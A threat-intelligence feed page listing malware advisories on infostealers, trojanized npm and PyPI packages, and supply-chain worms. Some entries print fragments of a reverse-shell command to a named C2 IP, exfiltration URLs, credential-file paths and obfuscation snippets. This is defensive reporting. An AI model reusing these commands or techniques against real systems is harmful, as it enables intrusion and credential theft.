Search: stealer.exe
314 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | AlienVault OTX General A financially motivated campaign identified in April 2026 delivers Vidar stealer and XMRig cryptocurrency miner to victims worldwide through malvertising. Attackers distribute password-protected archives impersonating cracked software, using Go-compiled loaders built with the Factory-v3 framework. The malware employs sophisticated evasion techniques including rogue Authenticode certificates mimicking JustWatch and BleacherReport, file-size inflation to hundreds of MB with null bytes, and AMSI bypass. Once executed, Vidar stealer exfiltrates browser credentials, cookies and cryptocurrency wallets to C2 infrastructure, while XMRig mines Monero cryptocurrency. The operation establishes persistence through registry modifications, scheduled tasks and startup folder scripts. The threat actor, operating under the moniker X3D MINER, primarily targets victims in the U.S. and European Union through a dual-monetization scheme combining credential theft and cryptojacking. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database The package 'paperclip-host-utils' is a purpose-built malware package published by the npm account 'srm0rgan' (srm0rgan@proton.me) as part of a coordinated campaign of fake 'Paperclip' VPS-maintenance adapters (siblings: paperclip2, vps-maintenance, vps-maintenance-paperclip-adapter, vps-adapter-core). Its runtime code (`dist/server/execute.js`) presents as a legitimate Paperclip external adapter that runs maintenance shell commands locally or over SSH, which is social-engineering cover for the install-time payload. From version 1.0.2 onward the package declares a malicious install hook that npm runs automatically during `npm install`. The hooked script and payload were repeatedly changed across rapid same-day republishes (1.0.2-1.0.7), an evasion tactic, cycling through three payload variants that all beacon to the hardcoded C2 185.112.147.174: - Versions 1.0.2-1.0.5 (`postinstall` -> `node dist/postinstall.js`): a persistence + backdoor payload. It appends the attacker's ed25519 key (comment `deploy@paperclip-host`, `AAAAC3NzaC1lZDI1NTE5AAAAIDGA+v9tfK8YVeZejZN2y99mNvefRmQx99lJtjKjIAK2`) to `authorized_keys` for /root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos and /home/ubuntu; installs a crontab entry and `/etc/cron.d/paperclip-adapter-sync` that run a `mkfifo`+`nc` reverse shell to 185.112.147.174:443 every minute; and launches a `mkfifo`+`nc` reverse-shell loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337 and 9001. - Version 1.0.6 (`postinstall` -> `node dist/setup.js`): a credential stealer disguised as 'npm-compatible telemetry and diagnostics'. It collects whoami/hostname/id/pwd, the full process environment, `git remote`/`git config`, sudo and docker status, and reads AWS credentials/config, SSH private keys, `.npmrc`, `.netrc`, `.git-credentials`, Docker config, `/home/runner/*` CI credentials, and `.github/workflows` files; base64-encodes the data and exfiltrates it in chunks via HTTP POST to `http://185.112.147.174:8080/npm/v1/security/audits/quick` (spoofing an npm audit request), then spawns `mkfifo`+`nc` reverse shells across the same eight ports in a loop. - Version 1.0.7 (`postinstall` -> `node dist/postinstall.js`): a minimal single reverse shell that connects to 185.112.147.174:443 and pipes a spawned `/bin/sh` over the socket. Version 1.0.0 shipped no install hook (the initial hookless facade); the package is malicious from inception as part of the campaign. Any developer workstation or CI job that ran `npm install paperclip-host-utils` at version 1.0.2 or later must be considered fully compromised; rotate all reachable credentials, tokens, and SSH keys from a separate clean machine and remove the attacker key from `authorized_keys`, the injected crontab entry, and `/etc/cron.d/paperclip-adapter-sync`. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b7e57197a05889313009e318f52b5c6831e6ce6ce928553210c489433d2ef87c) On `npm install`, package.json's postinstall executes dist/setup.js and dist/postinstall.js. The scripts read installer-side secrets — ~/.aws/credentials, ~/.aws/config, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc, ~/.netrc, ~/.git-credentials, ~/.docker/config.json, GitHub Actions runner paths,.github/workflows contents, and the full process.env — and POST them base64-chunked to http://185.112.147.174:8080/npm/v1/security/audits/quick and http://185.112.147.174:8080/exfil (path disguised as an npm audit endpoint). A `find` sweep across /home/runner, /home/devuser, /work, and /root harvests files matching flag*, *.env, secret*, token*, credentials, and *.kubeconfig — purpose-built for GitHub Actions and CI runners. After exfiltration, a detached shell opens named-pipe reverse shells (`mkfifo /tmp/.f; /bin/sh -i... nc 185.112.147.174 <port>`) in an infinite loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337, and 9001. A sibling routine appends an attacker-controlled ssh-ed25519 key (`deploy@paperclip-host`) to authorized_keys under /root, /home/runner, /home/devuser, /home/paperclip, /home/ec2-user, and /home/centos, and installs /etc/cron.d/paperclip-adapter-sync plus a user crontab entry that calls back to 185.112.147.174:443 every minute. The package name and README impersonate the @paperclipai adapter family as social-engineering cover; the declared dependency `@paperclipai/adapter-utils` is pinned to a suspicious ^2026.626.0. Any machine or CI runner that runs `npm install` on this package is credential-compromised and backdoored. ## Source: ghsa-malware (4a7cf91b41f6980a21fe3a566b9f251bffaf8326222d7e34daeadcf864355768) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious softw | GCVE Database | |||
| –Not rated | – | AlienVault OTX General Salat Stealer is a Go-based information stealer that performs deep system reconnaissance and extracts sensitive data from compromised hosts. It targets browser credentials, cryptocurrency wallets, and communication platforms like Discord and Steam. The malware features advanced surveillance capabilities including desktop streaming, audio/video capture through microphone and webcam, and local file exfiltration. A notable distribution campaign bundled Salat Stealer with Xeno Executor, a gaming utility tool, transforming it into a full compromise vector. The malware employs sophisticated evasion techniques including disabling Windows Defender features through multiple PowerShell scripts, establishing persistence via registry run keys, and using token impersonation of lsass.exe to obtain elevated privileges. Loaders written in batch script and Rust programming language obfuscate deployment and bypass security controls. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General Kaspersky uncovered a sophisticated phishing campaign by the APT group Armored Likho, deploying a previously undocumented Python-based infostealer dubbed BusySnake Stealer. The campaign targets government agencies and electric power sectors across Russia, Brazil, and Kazakhstan through spear-phishing emails containing malicious EXE or LNK attachments. BusySnake Stealer features advanced obfuscation using PyArmor Pro, extracts credentials from browsers using DPAPI and NSS libraries, captures screenshots, logs keystrokes, scrapes cryptocurrency wallets and 2FA tokens, and establishes reverse SSH tunnels for remote access. The threat actor leverages AI-generated code for first-stage payloads and distributes components via GitHub repositories. The stealer maintains persistence through scheduled tasks and communicates with C2 infrastructure to receive commands dynamically, representing a significant evolution in the group's technical capabilities. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General An internal security operations team identified a fraudulent GitHub page impersonating a cybersecurity vendor to target customers and the general public. The malicious page appeared legitimate by referencing authentic services and operational requirements. While the GitHub page itself contained non-malicious content, a disguised link led victims to download a ZIP archive containing malicious executables. The attack chain deployed BoryptGrab Stealer information-stealing malware through DLL side-loading techniques. Investigation revealed nearly 300 similar repositories impersonating well-known organizations including Malwarebytes, Bitdefender, and 360 Total Security, using SEO keywords to attract victims. The malicious page has been removed and detection capabilities have been enhanced. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database The @marketfront/designsystemdevtool npm package version 7.0.0 is part of a malicious campaign involving 25 packages published within a short timeframe. It contains an obfuscated postinstall script that executes automatically during npm install, harvesting sensitive credentials and environment data from the host system. The stolen data includes SSH keys, cloud credentials, Docker and Kubernetes configs, npm and git credentials, environment variables, and shell history. This data is exfiltrated via HTTPS POST requests with additional DNS tunneling fallback to attacker-controlled infrastructure. The package impersonates an internal Marketfront scope but lacks legitimate functionality, serving solely as a credential stealer. The campaign shares infrastructure and techniques with a prior malicious campaign, indicating a persistent threat actor. No official patch or remediation is currently documented. | GCVE Database | |||
| Critical | 9.5 | KEVEPSS 80% | Critical9.5KEVEPSS 80%Bleeping ComputerCVE-2026-48558 An intrusion was investigated that began with exploitation of CVE-2026-48558, a critical authentication bypass vulnerability in SimpleHelp RMM software. The threat actor obtained unauthorized technician access and deployed two previously undocumented malware samples: TaskWeaver and Djinn Stealer. TaskWeaver is a heavily obfuscated Node.js loader that establishes encrypted communications and delivers additional payloads. Djinn Stealer targets credentials across Windows, macOS, and Linux systems, collecting authentication data for cloud platforms, source control, package registries, AI development assistants, browsers, SSH keys, and cryptocurrency wallets. The attacker leveraged legitimate RMM capabilities to transfer files and execute commands across managed systems. Stolen AI assistant tokens provided extensive access to repositories, databases, and cloud accounts. The intrusion demonstrated how a single authentication bypass in trusted management infrastructure can enable widespread credential theft and p... | Bleeping Computer | ||
| –Not rated | – | AlienVault OTX General A new macOS ClickFix campaign employs fake CAPTCHA pages to deceive users into executing malicious Terminal commands. The attack chain downloads and invisibly mounts a DMG file containing a self-signed information-stealer application bundle. This payload, assessed as belonging to the AMOS (Atomic macOS Stealer) lineage—specifically the Odyssey variant—prompts users for passwords through fake System Preferences dialogs. The stealer harvests extensive data including browser credentials, cryptocurrency wallet information from 13 standalone applications and 201 browser extensions, messaging app data, Apple Notes, Safari cookies, and macOS keychain entries. Exfiltrated data is compressed and sent to two command-and-control servers. The malware establishes persistence via LaunchAgent and trojanizes legitimate cryptocurrency applications including Ledger Live and Trezor Suite, replacing them with compromised versions downloaded from attacker infrastructure. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General Mistic is a stealthy backdoor malware linked to the Woodgnat initial access broker, active since April 2026. It uses sideloading of legitimate Microsoft files to execute payloads in memory without disk writes, enhancing stealth. Mistic includes typical backdoor functions and a self-delete kill switch. It has been observed deployed alongside ModeloRAT, another tool associated with Woodgnat. Targeting is opportunistic across sectors such as insurance, education, IT, and professional services. Woodgnat sells persistent remote access to ransomware affiliates involved with multiple ransomware families. The threat leverages social engineering lures delivered via compromised WordPress sites. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General A newly identified threat group, designated as GhostShell, has been conducting cyber operations against Ukraine's unmanned aerial vehicle supply chain since February 2026. The attackers employ malicious archives containing decoy documents that impersonate Besomar, a Ukrainian manufacturer of high-precision interceptor drones, to compromise defense and procurement networks. The attack chain deploys three distinct payloads: a custom backdoor (122.exe) utilizing mTLS client certificates for screen capture and command execution, an in-memory stager (update.exe) disguised as a Windows Health Service that fetches next-stage payloads via Telegram, and a proxy launcher (22.exe) that tunnels traffic through Xray Core to deploy the Vidar v2 information stealer. The targeting strongly suggests a Russian cyber operation, though analysts employ the SOLBIT framework to avoid attribution based on easily forgeable indicators. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General A sophisticated phishing campaign was identified distributing multiple malware families through a multi-stage loader utilizing steganography and fileless techniques. The infection chain begins with archive attachments containing files disguised as financial documents, primarily targeting Indian organizations using names related to GST, NEFT, RTGS, and IMPS transactions. The loader employs in-memory execution to avoid disk-based artifacts and uses embedded .NET Bitmap objects to conceal payloads. Various malware families have been deployed including Remcos RAT, Agent Tesla, MassLogger, Phantom Stealer, Dark Cloud, Red Line Stealer, Snake keyloggers, Formbook, and xworm. The final payloads establish persistence through registry Run keys, perform process hollowing, steal browser credentials, record audio and webcam, and exfiltrate data to command-and-control infrastructure. The campaign exhibits characteristics of a loader-as-a-service operation serving multiple threat actors globally. | AlienVault OTX General | |||
| –Not rated | – | Tenable Research A stolen session cookie sat in underground markets for seven weeks before attackers used it to poison 32 Red Hat packages in the npm software registry, an example of the industrial approach behind modern supply chain attacks. Key takeaways Miasma is a self-propagating npm worm derived from Mini Shai-Hulud that TeamPCP open-sourced on May 12. The public release of the full weaponized toolchain means any operator can now replicate structurally identical supply chain campaigns. The Miasma campaign compromised 89-plus npm packages across three waves (June 1-5), affecting Red Hat, Vapi.ai, and Microsoft Azure repositories. The worm produced malicious packages with valid SLSA Build Level 3 provenance attestations, defeating the highest tier of supply-chain integrity verification. The root cause was a stolen developer credential that sat in infostealer logs for seven weeks before weaponization. This infostealer-to-supply-chain pipeline is the defining pattern of the Developer Credential Economy. The Miasma campaign’s third wave (June 5) introduced a significant escalation: persistence files that target AI coding assistants (Claude Code, Cursor, Gemini CLI, VS Code), expanding the attack surface from package registries to the developer’s local environment. Relying on execution-layer detection, such as EDR, is insufficient against supply chain threats because EDR tools lack visibility into the ephemeral CI/CD environments where credential theft and weaponization occur. Organizations should treat developer credentials as control-plane infrastructure and adopt a phased Continuous Threat Exposure Management (CTEM) approach: harden the generation layer, neutralize harvested secrets in real time, and enforce human-gated publishing controls. Background on the Miasma worm and npm supply chain attack On June 1, the Miasma self-propagating worm compromised 32 official npm packages under the @redhat-cloud-services namespace, delivering a credential-harvesting payload to an estimated 80,000 to 117,000 weekly downloads. Within five days, the campaign escalated through three distinct attack waves and forced GitHub to disable 73 repositories across four Microsoft organizations . The technical details of the Miasma supply-chain attack are alarming: valid Supply Chain Levels for Software Artifacts (SLSA) provenance attestations on malicious packages; a novel execution technique that bypasses install-script monitoring; and a new persistence mechanism that targets AI coding assistants. But the most important detail is a timestamp. Dark web monitoring firm Whiteintel detected a Red Hat employee’s GitHub credential and session cookie in infostealer logs on April 13. A second sighting appeared on May 15. The credential sat in underground markets for approximately seven weeks before attackers weaponized it on June 1. That seven-week gap is the signature of an emerging threat model that Tenable’s Research Special Operations (RSO) team calls the Developer Credential Economy , and has been tracking since March 2026. The Developer Credential Economy is a structured black market for highly privileged developer credentials where open-source supply chain compromises function as credential generation infrastructure, underground markets serve as the distribution layer, and multiple threat actors with distinct motivations weaponize the harvested access downstream. The Miasma campaign is the clearest example of this model to date, and it validates a pattern that has been accelerating across the npm, PyPI, and GitHub ecosystems throughout 2026. The three-layer economy, explained through Miasma When it first assessed this pattern in March, Tenable RSO built the analysis around the TeamPCP cascading campaign (Trivy, KICS, LiteLLM, Telnyx, and 66+ npm packages) and the Sapphire Sleet/UNC1069 Axios compromise . The thesis identified a three-layer structure: credential generation, distribution, and weaponization. Three months later, the Miasma campaign validates each layer with striking clarity. Layer Actor / group Operational focus Primary targets Miasma validation Generation TeamPCP Bulk credential harvesting via tool exploitation Trivy, KICS, TanStack, Red Hat npm scope Miasma's payload sweeps GitHub tokens, cloud credentials, CI/CD secrets, SSH keys, and .env files from every infected environment Distribution Underground markets, infostealer aggregators Credential brokering and tooling proliferation Stolen developer credentials; open-sourced worm code Red Hat employee credential sat in infostealer logs for seven weeks before weaponization; Shai-Hulud source published May 12 Weaponization Sapphire Sleet (DPRK-nexus), LAPSUS$, Miasma operator, copycat actors State-sponsored exfiltration, data theft, cascading supply chain compromise Axios (npm), Mercor AI, @vapi-ai/server-sdk, Azure/durabletask Each Miasma wave generates A fresh credential pool, feeding the next wave and enabling downstream actors Layer 1: Credential generation The Developer Credential Economy’s first layer is extraction. Threat actors compromise developer tooling and open-source infrastructure not primarily to distribute malware to end users, but to harvest the credentials those environments contain, such as GitHub tokens, npm publishing tokens, cloud provider credentials, CI/CD secrets, SSH keys, and API keys. TeamPCP pioneered this at scale beginning in September 2025 with the original Shai-Hulud worm. Its defining innovation was cascading credential extraction: compromise one trusted tool, harvest the credentials it holds, and use those credentials to compromise the next tool in the dependency chain. The Trivy vulnerability scanner compromise yielded CI/CD runner secrets. Those secrets enabled the KICS compromise . KICS yielded additional cloud credentials. Each link in the chain generated a broader set of privileged access. By May, TeamPCP had refined this into the Mini Shai-Hulud variant, which introduced two capabilities that made the generation layer dramatically more efficient: Wormable propagation : The malware queries the npm registry for every package the compromised identity can publish, and republishes itself across all of them automatically. CI/CD pipeline hijack via OpenID Connect (OIDC) token extraction : Rather than stealing static credentials, Mini Shai-Hulud requests short-lived OIDC tokens through GitHub Actions, enabling it to publish packages with valid cryptographic provenance. In the Miasma supply chain campaign, this generation layer operated through a Red Hat employee’s compromised GitHub account. The worm’s payload swept the infected environment for: GitHub tokens and personal access tokens npm publishing tokens AWS, GCP, and Azure cloud credentials HashiCorp Vault tokens Kubernetes service account tokens SSH private keys Docker registry credentials GPG keys .env files The June variant added dedicated collectors for GCP and Azure cloud identities, going beyond secret extraction to enumerate all cloud access the infected machine holds. Every machine that ran npm install against a compromised @redhat-cloud-services package version became a credential generation node. Layer 2: Distribution The second layer is the marketplace. Stolen credentials flow from the generation layer into underground markets, infostealer log aggregators, and access brokering services, where they become available to any buyer. The Miasma supply chain-attack timeline makes this layer visible in a way previous campaigns did not. Whiteintel detected the Red Hat employee’s GitHub credential and session cookie in infostealer logs on April 13. That credential was not generated by a targeted supply chain attack against Red Hat; a commodity infostealer harvested it, one of 13.2 million infostealer infections that SpyCloud's 2025 Identity Exposure Report documented as producing an average of 50 credentials per infection. The credential entered the distribution layer as one data point among billions: SpyCloud recaptured 5.3 billion credential pairs, 18.1 million exposed API keys and tokens, and 8.6 billion stolen session cookies from criminal underground monitoring in 2025 alone. For seven weeks, the credential sat in the distribution layer before someone acted on it. That dwell time is the systemic gap that the Developer Credential Economy exploits. Organizations that do not monitor underground markets for exposed developer credentials are operating on the assumption that the generation-to-weaponization pipeline does not exist, or that it operates too slowly to matter. Miasma demonstrates that even a seven-week window, which is long by underground market standards, is more than sufficient for weaponization. The distribution layer was further amplified on May 12, when TeamPCP published the complete Mini Shai-Hulud source code on GitHub under an MIT License with the message “Shai-Hulud: Open Sourcing The Carnage.” The release included CI cache-poisoning scripts, the OIDC token extractor, and the credential stealer with its propagation logic. This is the supply chain equivalent of publishing a working exploit framework: the tooling itself became a distribution channel, lowering the barrier to entry for any operator who wants to run a structurally identical campaign. Layer 3: Weaponization The third layer is operational use. Actors with distinct motivations acquire credentials from the distribution layer and weaponize them against specific targets. In March, the RSO team documented at least three distinct actors operating from the same credential pool : TeamPCP harvested at scale: Sapphire Sleet/UNC1069 (DPRK-nexus) operationalized stolen npm tokens for financial gain through the Axios compromise and LAPSUS$ exploited compromised Tailscale VPN credentials from the LiteLLM breach for data theft from Mercor AI. The same credential ecosystem fed all three. Miasma’s weaponization layer continues to evolve, but the trajectory across its three waves demonstrates the pattern: Wave 1 (June 1) used the stolen R | Tenable Research | |||
| Malicious | – | MaliciousGCVE Database The npm package @nullzero/urlcat version 1.4.2 is a trojanized library impersonating the legitimate urlcat package. It is part of the wshu.net credential-stealer campaign that published multiple malicious packages with postinstall hooks executing a payload. The payload is a Chromium browser credential stealer that decrypts and exfiltrates saved passwords. The package downloads and runs a platform-specific attacker-controlled binary with obfuscation and anti-debugging techniques, enabling arbitrary code execution on any machine that uses the package. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (11bfe96b56a6615a50639b25de793e14044ea393c2029b26fa4e1b9e3dc5a22f) This package impersonates the Anthropic Claude SDK (name and description claim to be an 'Official Anthropic Claude SDK wrapper', author is 'anthropic-tools') but ships a multi-stage dropper. The package.json declares `postinstall: node lib/cli.js`, which auto-executes on `npm install` and runs the following chain in lib/index.js: 1. Hardcoded C2 over bare IPs: POSTs to four hardcoded IP addresses (107.189.20.82, 107.189.20.146, 104.194.134.33, 104.194.133.89) reconstructed from integer arrays, with TLS verification disabled (`rejectUnauthorized:false`). The JSON response is base64-decoded and written to disk as `main.py`, then executed via a detached Python process. 2. Alternate-runtime dropper: if the host lacks a usable Python, the installer downloads Miniconda from repo.anaconda.com via curl/wget into `~/.local/share/prometheus/miniconda` (Linux), runs `winget install Python.Python.3.12` (Windows), or `brew install python3` (macOS) — installing an entire Python distribution solely to run the C2-supplied payload. 3. macOS privacy bypass: on Darwin, sqlite3-INSERTs rows into `~/Library/Application Support/com.apple.TCC/TCC.db` granting kTCCServiceSystemPolicySysAdminFiles / SystemPolicyAppData to Terminal, the running node binary, and /usr/bin/python3 — subverting TCC so the dropped payload has broad filesystem access without user consent. 4. Crypto-wallet stealer toolchain: pip-installs `bip-utils`, `mnemonic`, `pycryptodome`, `psutil`, `eth-account` with `--break-system-packages`, the canonical libraries for BIP39 seed-phrase parsing, BIP32 derivation, and Ethereum private-key handling. 5. Persistence: writes a `.cs_v2` marker and `main.py` under disguised paths impersonating system directories (`~/.local/share/com.apple.sync` on macOS, `~/.local/share/prometheus` on Linux, `%LOCALAPPDATA%\Microsoft\Windows Security\Health` on Windows). Subsequent `require()` of the package re-spawns the detached Python payload. 6. Pervasive string-split obfuscation: module names and API calls are reconstructed via `['x','y'].join('')` (`['htt','ps']`, `['child','_pro','cess']`, `['exec','Sync']`, `['spa','wn']`, `['ba','se','64']`, `module['constr'+'uctor']['_l'+'oad']`) to evade static analysis. The README is for an unrelated 'cachesync-helper' package, further confirming the lure-and-impersonation pattern. ## Source: ghsa-malware (f1e490682c8dd38fd97c90b365eacf71086d64b57af905f96e58490ec35d5e6c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (01d5845e6a8ba2bca29e99aaed593e5c7616c9ff89eb32d3d319dd65cf1839b0) The OpenSSF Package Analysis project identified 'free-anthropic-claude' @ 5.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| –Not rated | – | AlienVault OTX General An active malware campaign is targeting Thailand's healthcare sector, including Ministry of Health personnel and affiliated organizations. The operation leverages healthcare-themed spear-phishing lures distributed through malicious RAR archives containing obfuscated batch scripts and executable payloads. The infection chain employs multiple stages of obfuscation, GitHub-hosted payload delivery, and persistence mechanisms. The final payload is a Python-based information stealer designed to harvest browser credentials, session data, and cookies, with exfiltration attempts through Telegram Bot API. The campaign demonstrates sophisticated tradecraft including Rouki-obfuscated batch loaders, Startup folder persistence, and bundled Python interpreters. Active operational window spans from April to June 2026, with all samples uploaded from Thailand. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General A Windows-based cryptocurrency clipper has been actively targeting users since February 2026, employing sophisticated techniques to steal digital assets. The malware propagates through malicious shortcut files on USB devices, creating a worm-like infection chain. Once deployed, it utilizes Windows Script Host and ActiveX to launch a bundled Tor proxy client, enabling anonymous communication with hidden-service command and control servers. The clipper performs high-frequency clipboard monitoring to intercept cryptocurrency wallet addresses, seed phrases, and private keys, replacing them with attacker-controlled alternatives. Additionally, it captures screenshots for context and maintains persistent access through scheduled tasks. The threat demonstrates advanced capabilities including remote code execution, making it more than a simple stealer by functioning as a lightweight backdoor. The malware employs multiple defense evasion techniques including multi-layer obfuscation, anti-analysis checks, and local S... | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General More than 140 Mastra npm packages were compromised through a supply chain attack that injected a typosquatted dependency called easy-day-js. A single npm account published malicious versions within a short timeframe, affecting packages including @mastra/core with over 918K weekly downloads. The attack executes during npm install via a postinstall hook, deploying a two-stage payload. The first stage disables TLS validation and downloads a second-stage implant that installs cross-platform persistence on Windows, macOS, and Linux. This implant functions as a command-and-control client that steals cryptocurrency wallet inventories from 166+ browser extensions, harvests browser history, and can execute arbitrary code sent by operators. The malicious code executes before developers import packages, compromising systems during installation. | AlienVault OTX General | |||
| –Not rated | – | SecurityWeek Researchers say the OnyxC2 malware targets more than 200 applications and extensions while evading detection through encrypted payloads, DLL sideloading, and in-memory execution techniques. The post OnyxC2 Stealer Offers Cybercriminals Enterprise-Grade Theft for $250 a Month appeared first on SecurityWeek . | SecurityWeek | |||
| –Not rated | – | Reddit Cybersecurity The Hades PyPI attack is a supply chain malware campaign that compromised 19 Python packages on the PyPI registry. The malicious packages include a setup file that auto-executes during Python startup to download and run the Bun JavaScript runtime, which then executes an obfuscated credential-stealing payload. This payload targets a wide range of developer secrets and credentials from cloud services, CI/CD platforms, and local configurations. The campaign is part of the ongoing Shai-Hulud / Miasma lineage of attacks, using novel persistence and evasion techniques including AI analysis deception and locale-based targeting. No official patch or remediation guidance is provided in the source content. | Reddit Cybersecurity | |||
| Malicious | – | MaliciousGCVE Database Crypto/SSH/wallet stealer, blockchain-helper-0/web3-tools-9 campaign sibling (c960/c961). postinstall scripts/postinstall.js auto-execs, src/index.js harvests ~/.ssh/id_rsa+wallet keys/seeds+env, self-labels "CRYPTO STEALER", exfils to IDENTICAL Telegram bot 8227918239 chat 6433587894 (not rotated). Generic-crypto-name + numeric suffix + 1.0.0 pattern. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d5584a904e8305ac85e621e54051d320d74f729e240a8094c398dc67d19b4b5b) The package was found to contain malicious code or consuming dependency that contains malicious code | GCVE Database |
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